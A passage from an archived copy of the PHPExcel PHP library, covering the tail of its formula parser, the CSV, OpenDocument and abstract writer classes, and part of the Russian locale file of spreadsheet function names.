parenthesizedExpression() { $result = $this->createTree('ptgParen', $this->expression(), ''); return $result; } /** * It parses a term. It assumes the following rule: * Term -> Fact [("*" | "/") Fact] * * @access private * @return mixed The parsed ptg'd tree on success */ private function term() { $result = $this->fact(); while (($this->currentToken == "*") or ($this->currentToken == "/")) { /**/ if ($this->currentToken == "*") { $this->advance(); $result2 = $this->fact(); $result = $this->createTree('ptgMul', $result, $result2); } else { $this->advance(); $result2 = $this->fact(); $result = $this->createTree('ptgDiv', $result, $result2); } } return $result; } /** * It parses a factor. It assumes the following rule: * Fact -> ( Expr ) * | CellRef * | CellRange * | Number * | Function * * @access private * @return mixed The parsed ptg'd tree on success */ private function fact() { if ($this->currentToken == "(") { $this->advance(); // eat the "(" $result = $this->parenthesizedExpression(); if ($this->currentToken != ")") { throw new PHPExcel_Writer_Exception("')' token expected."); } $this->advance(); // eat the ")" return $result; } // if it's a reference if (preg_match('/^\$?[A-Ia-i]?[A-Za-z]\$?[0-9]+$/', $this->currentToken)) { $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?[A-Ia-i]?[A-Za-z]\\$?[0-9]+$/u", $this->currentToken)) { // If it's an external reference (Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1) $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?[A-Ia-i]?[A-Za-z]\\$?[0-9]+$/u", $this->currentToken)) { // If it's an external reference ('Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1) $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+:(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+$/', $this->currentToken) or preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+\.\.(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+$/', $this->currentToken)) { // if it's a range A1:B2 or $A$1:$B$2 // must be an error? $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+:\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+$/u", $this->currentToken)) { // If it's an external range (Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2) // must be an error? //$result = $this->currentToken; $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+:\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+$/u", $this->currentToken)) { // If it's an external range ('Sheet1'!A1:B2 or 'Sheet1'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1'!$A$1:$B$2) // must be an error? //$result = $this->currentToken; $result = $this->createTree($this->currentToken, '', ''); $this->advance(); return $result; } elseif (is_numeric($this->currentToken)) { // If it's a number or a percent if ($this->lookAhead == '%') { $result = $this->createTree('ptgPercent', $this->currentToken, ''); $this->advance(); // Skip the percentage operator once we've pre-built that tree } else { $result = $this->createTree($this->currentToken, '', ''); } $this->advance(); return $result; } elseif (preg_match("/^[A-Z0-9\xc0-\xdc\.]+$/i", $this->currentToken)) { // if it's a function call $result = $this->func(); return $result; } throw new PHPExcel_Writer_Exception("Syntax error: ".$this->currentToken.", lookahead: ".$this->lookAhead.", current char: ".$this->currentCharacter); } /** * It parses a function call. It assumes the following rule: * Func -> ( Expr [,Expr]* ) * * @access private * @return mixed The parsed ptg'd tree on success */ private function func() { $num_args = 0; // number of arguments received $function = strtoupper($this->currentToken); $result = ''; // initialize result $this->advance(); $this->advance(); // eat the "(" while ($this->currentToken != ')') { /**/ if ($num_args > 0) { if ($this->currentToken == "," || $this->currentToken == ";") { $this->advance(); // eat the "," or ";" } else { throw new PHPExcel_Writer_Exception("Syntax error: comma expected in function $function, arg #{$num_args}"); } $result2 = $this->condition(); $result = $this->createTree('arg', $result, $result2); } else { // first argument $result2 = $this->condition(); $result = $this->createTree('arg', '', $result2); } ++$num_args; } if (!isset($this->functions[$function])) { throw new PHPExcel_Writer_Exception("Function $function() doesn't exist"); } $args = $this->functions[$function][1]; // If fixed number of args eg. TIME($i, $j, $k). Check that the number of args is valid. if (($args >= 0) and ($args != $num_args)) { throw new PHPExcel_Writer_Exception("Incorrect number of arguments in function $function() "); } $result = $this->createTree($function, $result, $num_args); $this->advance(); // eat the ")" return $result; } /** * Creates a tree. In fact an array which may have one or two arrays (sub-trees) * as elements. * * @access private * @param mixed $value The value of this node. * @param mixed $left The left array (sub-tree) or a final node. * @param mixed $right The right array (sub-tree) or a final node. * @return array A tree */ private function createTree($value, $left, $right) { return array('value' => $value, 'left' => $left, 'right' => $right); } /** * Builds a string containing the tree in reverse polish notation (What you * would use in a HP calculator stack). * The following tree: * * + * / \ * 2 3 * * produces: "23+" * * The following tree: * * + * / \ * 3 * * / \ * 6 A1 * * produces: "36A1*+" * * In fact all operands, functions, references, etc... are written as ptg's * * @access public * @param array $tree The optional tree to convert. * @return string The tree in reverse polish notation */ public function toReversePolish($tree = array()) { $polish = ""; // the string we are going to return if (empty($tree)) { // If it's the first call use parseTree $tree = $this->parseTree; } if (is_array($tree['left'])) { $converted_tree = $this->toReversePolish($tree['left']); $polish .= $converted_tree; } elseif ($tree['left'] != '') { // It's a final node $converted_tree = $this->convert($tree['left']); $polish .= $converted_tree; } if (is_array($tree['right'])) { $converted_tree = $this->toReversePolish($tree['right']); $polish .= $converted_tree; } elseif ($tree['right'] != '') { // It's a final node $converted_tree = $this->convert($tree['right']); $polish .= $converted_tree; } // if it's a function convert it here (so we can set it's arguments) if (preg_match("/^[A-Z0-9\xc0-\xdc\.]+$/", $tree['value']) and !preg_match('/^([A-Ia-i]?[A-Za-z])(\d+)$/', $tree['value']) and !preg_match("/^[A-Ia-i]?[A-Za-z](\d+)\.\.[A-Ia-i]?[A-Za-z](\d+)$/", $tree['value']) and !is_numeric($tree['value']) and !isset($this->ptg[$tree['value']])) { // left subtree for a function is always an array. if ($tree['left'] != '') { $left_tree = $this->toReversePolish($tree['left']); } else { $left_tree = ''; } // add it's left subtree and return. return $left_tree.$this->convertFunction($tree['value'], $tree['right']); } else { $converted_tree = $this->convert($tree['value']); } $polish .= $converted_tree; return $polish; } } PHPExcel/Writer/CSV.php 0000644 00000022322 14642534110 0010575 0 ustar 00 <?php /** * PHPExcel_Writer_CSV * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_CSV * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_CSV extends PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * PHPExcel object * * @var PHPExcel */ private $phpExcel; /** * Delimiter * * @var string */ private $delimiter = ','; /** * Enclosure * * @var string */ private $enclosure = '"'; /** * Line ending * * @var string */ private $lineEnding = PHP_EOL; /** * Sheet index to write * * @var int */ private $sheetIndex = 0; /** * Whether to write a BOM (for UTF8). * * @var boolean */ private $useBOM = false; /** * Whether to write a Separator line as the first line of the file * sep=x * * @var boolean */ private $includeSeparatorLine = false; /** * Whether to write a fully Excel compatible CSV file. * * @var boolean */ private $excelCompatibility = false; /** * Create a new PHPExcel_Writer_CSV * * @param PHPExcel $phpExcel PHPExcel object */ public function __construct(PHPExcel $phpExcel) { $this->phpExcel = $phpExcel; } /** * Save PHPExcel to file * * @param string $pFilename * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { // Fetch sheet $sheet = $this->phpExcel->getSheet($this->sheetIndex); $saveDebugLog = PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->getWriteDebugLog(); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog(false); $saveArrayReturnType = PHPExcel_Calculation::getArrayReturnType(); PHPExcel_Calculation::setArrayReturnType(PHPExcel_Calculation::RETURN_ARRAY_AS_VALUE); // Open file $fileHandle = fopen($pFilename, 'wb+'); if ($fileHandle === false) { throw new PHPExcel_Writer_Exception("Could not open file $pFilename for writing."); } if ($this->excelCompatibility) { $this->setUseBOM(true); // Enforce UTF-8 BOM Header $this->setIncludeSeparatorLine(true); // Set separator line $this->setEnclosure('"'); // Set enclosure to " $this->setDelimiter(";"); // Set delimiter to a semi-colon $this->setLineEnding("\r\n"); } if ($this->useBOM) { // Write the UTF-8 BOM code if required fwrite($fileHandle, "\xEF\xBB\xBF"); } if ($this->includeSeparatorLine) { // Write the separator line if required fwrite($fileHandle, 'sep=' . $this->getDelimiter() . $this->lineEnding); } // Identify the range that we need to extract from the worksheet $maxCol = $sheet->getHighestDataColumn(); $maxRow = $sheet->getHighestDataRow(); // Write rows to file for ($row = 1; $row <= $maxRow; ++$row) { // Convert the row to an array... $cellsArray = $sheet->rangeToArray('A'.$row.':'.$maxCol.$row, '', $this->preCalculateFormulas); // ... and write to the file $this->writeLine($fileHandle, $cellsArray[0]); } // Close file fclose($fileHandle); PHPExcel_Calculation::setArrayReturnType($saveArrayReturnType); PHPExcel_Calculation::getInstance($this->phpExcel)->getDebugLog()->setWriteDebugLog($saveDebugLog); } /** * Get delimiter * * @return string */ public function getDelimiter() { return $this->delimiter; } /** * Set delimiter * * @param string $pValue Delimiter, defaults to , * @return PHPExcel_Writer_CSV */ public function setDelimiter($pValue = ',') { $this->delimiter = $pValue; return $this; } /** * Get enclosure * * @return string */ public function getEnclosure() { return $this->enclosure; } /** * Set enclosure * * @param string $pValue Enclosure, defaults to " * @return PHPExcel_Writer_CSV */ public function setEnclosure($pValue = '"') { if ($pValue == '') { $pValue = null; } $this->enclosure = $pValue; return $this; } /** * Get line ending * * @return string */ public function getLineEnding() { return $this->lineEnding; } /** * Set line ending * * @param string $pValue Line ending, defaults to OS line ending (PHP_EOL) * @return PHPExcel_Writer_CSV */ public function setLineEnding($pValue = PHP_EOL) { $this->lineEnding = $pValue; return $this; } /** * Get whether BOM should be used * * @return boolean */ public function getUseBOM() { return $this->useBOM; } /** * Set whether BOM should be used * * @param boolean $pValue Use UTF-8 byte-order mark? Defaults to false * @return PHPExcel_Writer_CSV */ public function setUseBOM($pValue = false) { $this->useBOM = $pValue; return $this; } /** * Get whether a separator line should be included * * @return boolean */ public function getIncludeSeparatorLine() { return $this->includeSeparatorLine; } /** * Set whether a separator line should be included as the first line of the file * * @param boolean $pValue Use separator line? Defaults to false * @return PHPExcel_Writer_CSV */ public function setIncludeSeparatorLine($pValue = false) { $this->includeSeparatorLine = $pValue; return $this; } /** * Get whether the file should be saved with full Excel Compatibility * * @return boolean */ public function getExcelCompatibility() { return $this->excelCompatibility; } /** * Set whether the file should be saved with full Excel Compatibility * * @param boolean $pValue Set the file to be written as a fully Excel compatible csv file * Note that this overrides other settings such as useBOM, enclosure and delimiter * @return PHPExcel_Writer_CSV */ public function setExcelCompatibility($pValue = false) { $this->excelCompatibility = $pValue; return $this; } /** * Get sheet index * * @return int */ public function getSheetIndex() { return $this->sheetIndex; } /** * Set sheet index * * @param int $pValue Sheet index * @return PHPExcel_Writer_CSV */ public function setSheetIndex($pValue = 0) { $this->sheetIndex = $pValue; return $this; } /** * Write line to CSV file * * @param mixed $pFileHandle PHP filehandle * @param array $pValues Array containing values in a row * @throws PHPExcel_Writer_Exception */ private function writeLine($pFileHandle = null, $pValues = null) { if (is_array($pValues)) { // No leading delimiter $writeDelimiter = false; // Build the line $line = ''; foreach ($pValues as $element) { // Escape enclosures $element = str_replace($this->enclosure, $this->enclosure . $this->enclosure, $element); // Add delimiter if ($writeDelimiter) { $line .= $this->delimiter; } else { $writeDelimiter = true; } // Add enclosed string $line .= $this->enclosure . $element . $this->enclosure; } // Add line ending $line .= $this->lineEnding; // Write to file fwrite($pFileHandle, $line); } else { throw new PHPExcel_Writer_Exception("Invalid data row passed to CSV writer."); } } } PHPExcel/Writer/OpenDocument.php 0000644 00000014616 14642534110 0012551 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument extends PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * Private writer parts * * @var PHPExcel_Writer_OpenDocument_WriterPart[] */ private $writerParts = array(); /** * Private PHPExcel * * @var PHPExcel */ private $spreadSheet; /** * Create a new PHPExcel_Writer_OpenDocument * * @param PHPExcel $pPHPExcel */ public function __construct(PHPExcel $pPHPExcel = null) { $this->setPHPExcel($pPHPExcel); $writerPartsArray = array( 'content' => 'PHPExcel_Writer_OpenDocument_Content', 'meta' => 'PHPExcel_Writer_OpenDocument_Meta', 'meta_inf' => 'PHPExcel_Writer_OpenDocument_MetaInf', 'mimetype' => 'PHPExcel_Writer_OpenDocument_Mimetype', 'settings' => 'PHPExcel_Writer_OpenDocument_Settings', 'styles' => 'PHPExcel_Writer_OpenDocument_Styles', 'thumbnails' => 'PHPExcel_Writer_OpenDocument_Thumbnails' ); foreach ($writerPartsArray as $writer => $class) { $this->writerParts[$writer] = new $class($this); } } /** * Get writer part * * @param string $pPartName Writer part name * @return PHPExcel_Writer_Excel2007_WriterPart */ public function getWriterPart($pPartName = '') { if ($pPartName != '' && isset($this->writerParts[strtolower($pPartName)])) { return $this->writerParts[strtolower($pPartName)]; } else { return null; } } /** * Save PHPExcel to file * * @param string $pFilename * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { if (!$this->spreadSheet) { throw new PHPExcel_Writer_Exception('PHPExcel object unassigned.'); } // garbage collect $this->spreadSheet->garbageCollect(); // If $pFilename is php://output or php://stdout, make it a temporary file... $originalFilename = $pFilename; if (strtolower($pFilename) == 'php://output' || strtolower($pFilename) == 'php://stdout') { $pFilename = @tempnam(PHPExcel_Shared_File::sys_get_temp_dir(), 'phpxltmp'); if ($pFilename == '') { $pFilename = $originalFilename; } } $objZip = $this->createZip($pFilename); $objZip->addFromString('META-INF/manifest.xml', $this->getWriterPart('meta_inf')->writeManifest()); $objZip->addFromString('Thumbnails/thumbnail.png', $this->getWriterPart('thumbnails')->writeThumbnail()); $objZip->addFromString('content.xml', $this->getWriterPart('content')->write()); $objZip->addFromString('meta.xml', $this->getWriterPart('meta')->write()); $objZip->addFromString('mimetype', $this->getWriterPart('mimetype')->write()); $objZip->addFromString('settings.xml', $this->getWriterPart('settings')->write()); $objZip->addFromString('styles.xml', $this->getWriterPart('styles')->write()); // Close file if ($objZip->close() === false) { throw new PHPExcel_Writer_Exception("Could not close zip file $pFilename."); } // If a temporary file was used, copy it to the correct file stream if ($originalFilename != $pFilename) { if (copy($pFilename, $originalFilename) === false) { throw new PHPExcel_Writer_Exception("Could not copy temporary zip file $pFilename to $originalFilename."); } @unlink($pFilename); } } /** * Create zip object * * @param string $pFilename * @throws PHPExcel_Writer_Exception * @return ZipArchive */ private function createZip($pFilename) { // Create new ZIP file and open it for writing $zipClass = PHPExcel_Settings::getZipClass(); $objZip = new $zipClass(); // Retrieve OVERWRITE and CREATE constants from the instantiated zip class // This method of accessing constant values from a dynamic class should work with all appropriate versions of PHP $ro = new ReflectionObject($objZip); $zipOverWrite = $ro->getConstant('OVERWRITE'); $zipCreate = $ro->getConstant('CREATE'); if (file_exists($pFilename)) { unlink($pFilename); } // Try opening the ZIP file if ($objZip->open($pFilename, $zipOverWrite) !== true) { if ($objZip->open($pFilename, $zipCreate) !== true) { throw new PHPExcel_Writer_Exception("Could not open $pFilename for writing."); } } return $objZip; } /** * Get PHPExcel object * * @return PHPExcel * @throws PHPExcel_Writer_Exception */ public function getPHPExcel() { if ($this->spreadSheet !== null) { return $this->spreadSheet; } else { throw new PHPExcel_Writer_Exception('No PHPExcel assigned.'); } } /** * Set PHPExcel object * * @param PHPExcel $pPHPExcel PHPExcel object * @throws PHPExcel_Writer_Exception * @return PHPExcel_Writer_Excel2007 */ public function setPHPExcel(PHPExcel $pPHPExcel = null) { $this->spreadSheet = $pPHPExcel; return $this; } } PHPExcel/Writer/Abstract.php 0000644 00000011716 14642534110 0011712 0 ustar 00 <?php /** * PHPExcel_Writer_Abstract * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Writer_Abstract implements PHPExcel_Writer_IWriter { /** * Write charts that are defined in the workbook? * Identifies whether the Writer should write definitions for any charts that exist in the PHPExcel object; * * @var boolean */ protected $includeCharts = false; /** * Pre-calculate formulas * Forces PHPExcel to recalculate all formulae in a workbook when saving, so that the pre-calculated values are * immediately available to MS Excel or other office spreadsheet viewer when opening the file * * @var boolean */ protected $preCalculateFormulas = true; /** * Use disk caching where possible? * * @var boolean */ protected $_useDiskCaching = false; /** * Disk caching directory * * @var string */ protected $_diskCachingDirectory = './'; /** * Write charts in workbook? * If this is true, then the Writer will write definitions for any charts that exist in the PHPExcel object. * If false (the default) it will ignore any charts defined in the PHPExcel object. * * @return boolean */ public function getIncludeCharts() { return $this->includeCharts; } /** * Set write charts in workbook * Set to true, to advise the Writer to include any charts that exist in the PHPExcel object. * Set to false (the default) to ignore charts. * * @param boolean $pValue * @return PHPExcel_Writer_IWriter */ public function setIncludeCharts($pValue = false) { $this->includeCharts = (boolean) $pValue; return $this; } /** * Get Pre-Calculate Formulas flag * If this is true (the default), then the writer will recalculate all formulae in a workbook when saving, * so that the pre-calculated values are immediately available to MS Excel or other office spreadsheet * viewer when opening the file * If false, then formulae are not calculated on save. This is faster for saving in PHPExcel, but slower * when opening the resulting file in MS Excel, because Excel has to recalculate the formulae itself * * @return boolean */ public function getPreCalculateFormulas() { return $this->preCalculateFormulas; } /** * Set Pre-Calculate Formulas * Set to true (the default) to advise the Writer to calculate all formulae on save * Set to false to prevent precalculation of formulae on save. * * @param boolean $pValue Pre-Calculate Formulas? * @return PHPExcel_Writer_IWriter */ public function setPreCalculateFormulas($pValue = true) { $this->preCalculateFormulas = (boolean) $pValue; return $this; } /** * Get use disk caching where possible? * * @return boolean */ public function getUseDiskCaching() { return $this->_useDiskCaching; } /** * Set use disk caching where possible? * * @param boolean $pValue * @param string $pDirectory Disk caching directory * @throws PHPExcel_Writer_Exception when directory does not exist * @return PHPExcel_Writer_Excel2007 */ public function setUseDiskCaching($pValue = false, $pDirectory = null) { $this->_useDiskCaching = $pValue; if ($pDirectory !== null) { if (is_dir($pDirectory)) { $this->_diskCachingDirectory = $pDirectory; } else { throw new PHPExcel_Writer_Exception("Directory does not exist: $pDirectory"); } } return $this; } /** * Get disk caching directory * * @return string */ public function getDiskCachingDirectory() { return $this->_diskCachingDirectory; } } PHPExcel/locale/ru/functions 0000644 00000152342 14642534110 0012003 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from information provided by web-junior (http://www.web-junior.net/) ## ## ## ## Add-in and Automation functions Функции надстроек и автоматизации ## GETPIVOTDATA = ПОЛУЧИТЬ.ДАННЫЕ.СВОДНОЙ.ТАБЛИЦЫ ## Возвращает данные, хранящиеся в отчете сводной таблицы. ## ## Cube functions Функции Куб ## CUBEKPIMEMBER = КУБЭЛЕМЕНТКИП ## Возвращает свойство ключевого индикатора производительности «(КИП)» и отображает имя «КИП» в ячейке. «КИП» представляет собой количественную величину, такую как ежемесячная валовая прибыль или ежеквартальная текучесть кадров, используемой для контроля эффективности работы организации. CUBEMEMBER = КУБЭЛЕМЕНТ ## Возвращает элемент или кортеж из куба. Используется для проверки существования элемента или кортежа в кубе. CUBEMEMBERPROPERTY = КУБСВОЙСТВОЭЛЕМЕНТА ## Возвращает значение свойства элемента из куба. Используется для проверки существования имени элемента в кубе и возвращает указанное свойство для этого элемента. CUBERANKEDMEMBER = КУБПОРЭЛЕМЕНТ ## Возвращает n-ый или ранжированный элемент в множество. Используется для возвращения одного или нескольких элементов в множество, например, лучшего продавца или 10 лучших студентов. CUBESET = КУБМНОЖ ## Определяет вычислительное множество элементов или кортежей, отправляя на сервер выражение, которое создает множество, а затем возвращает его в Microsoft Office Excel. CUBESETCOUNT = КУБЧИСЛОЭЛМНОЖ ## Возвращает число элементов множества. CUBEVALUE = КУБЗНАЧЕНИЕ ## Возвращает обобщенное значение из куба. ## ## Database functions Функции для работы с базами данных ## DAVERAGE = ДСРЗНАЧ ## Возвращает среднее значение выбранных записей базы данных. DCOUNT = БСЧЁТ ## Подсчитывает количество числовых ячеек в базе данных. DCOUNTA = БСЧЁТА ## Подсчитывает количество непустых ячеек в базе данных. DGET = БИЗВЛЕЧЬ ## Извлекает из базы данных одну запись, удовлетворяющую заданному условию. DMAX = ДМАКС ## Возвращает максимальное значение среди выделенных записей базы данных. DMIN = ДМИН ## Возвращает минимальное значение среди выделенных записей базы данных. DPRODUCT = БДПРОИЗВЕД ## Перемножает значения определенного поля в записях базы данных, удовлетворяющих условию. DSTDEV = ДСТАНДОТКЛ ## Оценивает стандартное отклонение по выборке для выделенных записей базы данных. DSTDEVP = ДСТАНДОТКЛП ## Вычисляет стандартное отклонение по генеральной совокупности для выделенных записей базы данных DSUM = БДСУММ ## Суммирует числа в поле для записей базы данных, удовлетворяющих условию. DVAR = БДДИСП ## Оценивает дисперсию по выборке из выделенных записей базы данных DVARP = БДДИСПП ## Вычисляет дисперсию по генеральной совокупности для выделенных записей базы данных ## ## Date and time functions Функции даты и времени ## DATE = ДАТА ## Возвращает заданную дату в числовом формате. DATEVALUE = ДАТАЗНАЧ ## Преобразует дату из текстового формата в числовой формат. DAY = ДЕНЬ ## Преобразует дату в числовом формате в день месяца. DAYS360 = ДНЕЙ360 ## Вычисляет количество дней между двумя датами на основе 360-дневного года. EDATE = ДАТАМЕС ## Возвращает дату в числовом формате, отстоящую на заданное число месяцев вперед или назад от начальной даты. EOMONTH = КОНМЕСЯЦА ## Возвращает дату в числовом формате для последнего дня месяца, отстоящего вперед или назад на заданное число месяцев. HOUR = ЧАС ## Преобразует дату в числовом формате в часы. MINUTE = МИНУТЫ ## Преобразует дату в числовом формате в минуты. MONTH = МЕСЯЦ ## Преобразует дату в числовом формате в месяцы. NETWORKDAYS = ЧИСТРАБДНИ ## Возвращает количество рабочих дней между двумя датами. NOW = ТДАТА ## Возвращает текущую дату и время в числовом формате. SECOND = СЕКУНДЫ ## Преобразует дату в числовом формате в секунды. TIME = ВРЕМЯ ## Возвращает заданное время в числовом формате. TIMEVALUE = ВРЕМЗНАЧ ## Преобразует время из текстового формата в числовой формат. TODAY = СЕГОДНЯ ## Возвращает текущую дату в числовом формате. WEEKDAY = ДЕНЬНЕД ## Преобразует дату в числовом формате в день недели. WEEKNUM = НОМНЕДЕЛИ ## Преобразует числовое представление в число, которое указывает, на какую неделю года приходится указанная дата. WORKDAY = РАБДЕНЬ ## Возвращает дату в числовом формате, отстоящую вперед или назад на заданное количество рабочих дней. YEAR = ГОД ## Преобразует дату в числовом формате в год. YEARFRAC = ДОЛЯГОДА ## Возвращает долю года, которую составляет количество дней между начальной и конечной датами. ## ## Engineering functions Инженерные функции ## BESSELI = БЕССЕЛЬ.I ## Возвращает модифицированную функцию Бесселя In(x). BESSELJ = БЕССЕЛЬ.J ## Возвращает функцию Бесселя Jn(x). BESSELK = БЕССЕЛЬ.K ## Возвращает модифицированную функцию Бесселя Kn(x). BESSELY = БЕССЕЛЬ.Y ## Возвращает функцию Бесселя Yn(x). BIN2DEC = ДВ.В.ДЕС ## Преобразует двоичное число в десятичное. BIN2HEX = ДВ.В.ШЕСТН ## Преобразует двоичное число в шестнадцатеричное. BIN2OCT = ДВ.В.ВОСЬМ ## Преобразует двоичное число в восьмеричное. COMPLEX = КОМПЛЕКСН ## Преобразует коэффициенты при вещественной и мнимой частях комплексного числа в комплексное число. CONVERT = ПРЕОБР ## Преобразует число из одной системы единиц измерения в другую. DEC2BIN = ДЕС.В.ДВ ## Преобразует десятичное число в двоичное. DEC2HEX = ДЕС.В.ШЕСТН ## Преобразует десятичное число в шестнадцатеричное. DEC2OCT = ДЕС.В.ВОСЬМ ## Преобразует десятичное число в восьмеричное. DELTA = ДЕЛЬТА ## Проверяет равенство двух значений. ERF = ФОШ ## Возвращает функцию ошибки. ERFC = ДФОШ ## Возвращает дополнительную функцию ошибки. GESTEP = ПОРОГ ## Проверяет, не превышает ли данное число порогового значения. HEX2BIN = ШЕСТН.В.ДВ ## Преобразует шестнадцатеричное число в двоичное. HEX2DEC = ШЕСТН.В.ДЕС ## Преобразует шестнадцатеричное число в десятичное. HEX2OCT = ШЕСТН.В.ВОСЬМ ## Преобразует шестнадцатеричное число в восьмеричное. IMABS = МНИМ.ABS ## Возвращает абсолютную величину (модуль) комплексного числа. IMAGINARY = МНИМ.ЧАСТЬ ## Возвращает коэффициент при мнимой части комплексного числа. IMARGUMENT = МНИМ.АРГУМЕНТ ## Возвращает значение аргумента комплексного числа (тета) — угол, выраженный в радианах. IMCONJUGATE = МНИМ.СОПРЯЖ ## Возвращает комплексно-сопряженное комплексное число. IMCOS = МНИМ.COS ## Возвращает косинус комплексного числа. IMDIV = МНИМ.ДЕЛ ## Возвращает частное от деления двух комплексных чисел. IMEXP = МНИМ.EXP ## Возвращает экспоненту комплексного числа. IMLN = МНИМ.LN ## Возвращает натуральный логарифм комплексного числа. IMLOG10 = МНИМ.LOG10 ## Возвращает обычный (десятичный) логарифм комплексного числа. IMLOG2 = МНИМ.LOG2 ## Возвращает двоичный логарифм комплексного числа. IMPOWER = МНИМ.СТЕПЕНЬ ## Возвращает комплексное число, возведенное в целую степень. IMPRODUCT = МНИМ.ПРОИЗВЕД ## Возвращает произведение от 2 до 29 комплексных чисел. IMREAL = МНИМ.ВЕЩ ## Возвращает коэффициент при вещественной части комплексного числа. IMSIN = МНИМ.SIN ## Возвращает синус комплексного числа. IMSQRT = МНИМ.КОРЕНЬ ## Возвращает значение квадратного корня из комплексного числа. IMSUB = МНИМ.РАЗН ## Возвращает разность двух комплексных чисел. IMSUM = МНИМ.СУММ ## Возвращает сумму комплексных чисел. OCT2BIN = ВОСЬМ.В.ДВ ## Преобразует восьмеричное число в двоичное. OCT2DEC = ВОСЬМ.В.ДЕС ## Преобразует восьмеричное число в десятичное. OCT2HEX = ВОСЬМ.В.ШЕСТН ## Преобразует восьмеричное число в 